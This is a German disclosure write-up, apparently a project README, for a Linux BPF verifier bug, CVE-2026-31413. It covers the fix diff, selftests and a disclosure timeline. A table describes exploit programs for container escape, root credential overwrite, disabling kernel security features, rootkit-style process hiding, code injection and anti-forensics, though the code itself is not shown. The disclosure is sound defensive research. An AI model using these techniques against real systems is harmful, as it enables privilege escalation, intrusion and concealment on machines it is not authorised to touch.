| mainline | 7.0-rc1 through 7.0-rc4 | 7.0-rc5+ |
Einführender Commit: `bffacdb80b93` ("bpf: Recognize special arithmetic shift in the verifier")
Fix-Commit: `c845894ebd6f`
`CAP_BPF` ist keine sichere Capability. Ein Verifier-Bug wandelt sie in beliebiges Kernel-Lesen/Schreiben um. Produkte, die sie Workload-Pods gewähren, sollten sie wie `CAP_SYS_ADMIN` behandeln.
---
## Der Fix
Ein Zeichen:```diff
- branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
+ branch = push_stack(env, env->insn_idx, env->insn_idx, false);
Statt den Branch auf insn_idx + 1 (Überspringen der ALU-Instruktion) zu setzen, wird auf insn_idx gepusht – die Instruktion selbst. Der gepushte Pfad führt die ALU-Operation mit dst = 0 erneut aus:
0 & K = 0 ✓0 | K = K ✓Der ursprüngliche Ansatz war clever – die Instruktion zu überspringen und das Ergebnis direkt zu setzen, wodurch ein Verifier-Schritt auf dem gepushten Pfad gespart wurde. Diese Optimierung funktioniert aber nur, wenn das Ergebnis der Ausführung der Instruktion mit dst = 0 tatsächlich Null ist. Das ist für AND wahr und für OR falsch. Der Fix gibt die Optimierung auf: die Instruktion wird einfach erneut ausgeführt und der Verifier berechnet den korrekten Wert für jeden Opcode.
Ich habe drei Patch-Revisionen durchlaufen:
opcode zu maybe_fork_scalars() hinzugefügt und dst = K für OR, dst = 0 für AND auf dem gepushten Pfad gesetzt. Funktionierte, führte aber Komplexität ein.insn_idx statt insn_idx + 1 pushen. Einfacher, opcode-unabhängig, eliminiert die gesamte Klasse von Überspringen-vs-Ausführen-Fehlern.Eingespielt als c845894ebd6f am 22. März von Alexei Starovoitov. Selftests in 0ad1734cc559. Reviewed von Eduard Zingerman, Acked von Amery Hung.
Die Selftests decken drei Fälle ab:
or_scalar_fork_rejects_oob – ARSH 63 + OR 8, value_size=8, Zugriff bei Offset 8 ist OOB → muss ablehnenand_scalar_fork_still_works – Regressionstest, AND-Pfad akzeptiert weiterhinor_scalar_fork_allows_inbounds – OR 4, value_size=8, Offset 4 ist inbounds → muss akzeptierenLinus merge-te d5273fd3ca0b ("Merge tag 'bpf-fixes'") mit dem Hinweis: "Fix unsound scalar fork for OR instructions (Daniel Wade)".
c845894ebd6f ("bpf: Fix unsound scalar forking in maybe_fork_scalars() for BPF_OR")0ad1734cc559 ("selftests/bpf: Add tests for maybe_fork_scalars() OR vs AND handling")bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier")Haftungsausschluss: Dieser Exploit-Code wird nach verantwortungsvoller Offenlegung und Einspielen des Patches ausschließlich zu Bildungs- und Verteidigungsforschungszwecken veröffentlicht. Verwenden Sie ihn nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Berechtigung zum Testen haben. Der Autor übernimmt keine Verantwortung für Missbrauch.
CVE-2026-31413 – Behoben in Linux 7.0-rc5. Betroffen: 6.12.75+ (stable-backport) bis 7.0-rc4.
Daniel Wade – GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online
| Tier | File | Fähigkeit |
|---|
| 1 | exploit.c / exploit_gke.c | Container-Escape – Vtable-Hijack + Überschreiben von modprobe_path (der oben beschriebene Kern-Exploit) |
| v2 | exploit_gke_v2.c | Datenbasiertes Überschreiben von Berechtigungen – kein Vtable-Hijack, kein modprobe_path, keine Dateisystem-Interaktion. Automatische Erkennung des task_struct-Layouts. Kein Fenster für Kartenbeschädigung. Der empfohlene Exploit. |
| 2 | tier2_cred_overwrite.c | Direktes Überschreiben von Berechtigungen – task_struct-Kette durchlaufen, aktuellen Task finden, uid/gid/caps in struct cred auf null setzen für sofortige root-Rechte |
| 3 | tier3_syscall_hook.c | Syscall-Tabellen-Hooking – Seitentabellen durchlaufen, um die Syscall-Tabelle beschreibbar zu machen, einen Handler austauschen, von userspace aufrufen, wiederherstellen |
| 4 | tier4_security_disable.c | Sicherheitssubsysteme deaktivieren – SELinux, AppArmor, SMEP/SMAP/KPTI, dmesg_restrict, kptr_restrict deaktivieren; Überprüfung via /proc |
| 5 | tier5_cross_container.c | Containerübergreifender Diebstahl von Berechtigungen – nsproxy-Strukturen enumerieren, die task_struct einer Ziel-PID in einem anderen Namensraum finden, deren creds ändern |
| 6 | tier6_persistence.c | Kernel-getriggerte Persistenz – Überschreiben von modprobe_path und core_pattern, um Angreifer-Payloads bei Fehlern im Binärformat und Abstürzen auszuführen |
| 7 | tier7_hardware.c | Hardware-Introspection – IDT auslesen, CR0/CR4 lesen/dekodieren, Seitentabellen mit vollständiger Berechtigungsmatrix durchlaufen, KASLR-Basis wiederherstellen |
| 8 | tier8_dkom_cloak.c | DKOM-Prozessversteck – einen Kindprozess forken, seine task_struct finden, aus der Kernel-Task-Liste entfernen (unsichtbar für ps/Task-Iteratoren), wieder einhängen |
| 9 | tier9_code_inject.c | Live-Kernel-Code-Injektion – .text-PMD auf beschreibbar patchen, Prolog von sys_getuid mit Shellcode überschreiben (mov rax, 0x1337; ret), von userspace aufrufen, wiederherstellen |
| 10 | tier10_anti_forensics.c | Anti-Forensik – printk-Ringpuffer-Interna auslesen, forensische Variablen manipulieren (ftrace, audit, dmesg_restrict, kptr_restrict), Kernel-Log-Puffer-Text lesen/schreiben |
| make # builds everything (PoCs + exploits + tiers) | ||
| make setcaps # sets required capabilities on all binaries |
| Datum | Ereignis |
|---|
| 2026-01-14 | bffacdb80b93 führt maybe_fork_scalars() in 7.0-rc1 ein |
| 2026-03-04 | Bug als dea9989a3f in 6.12.y stable zurückportiert |
| 2026-03-11 | Ich finde den Bug während des Verifier-Audits |
| 2026-03-12 | OOB-Read/Write bestätigt, Exploit funktionsfähig |
| 2026-03-13 | Container-Escape-PoC abgeschlossen, Video aufgezeichnet |
| 2026-03-14 | Patch v3 an [email protected] gesendet |
| 2026-03-22 | Fix von Alexei Starovoitov in bpf/bpf.git eingespielt |
| 2026-04-06 | Linus führt bpf-fixes-Tag in mainline zusammen |
| 2026-04-12 | CVE-2026-31413 von Greg Kroah-Hartman zugewiesen |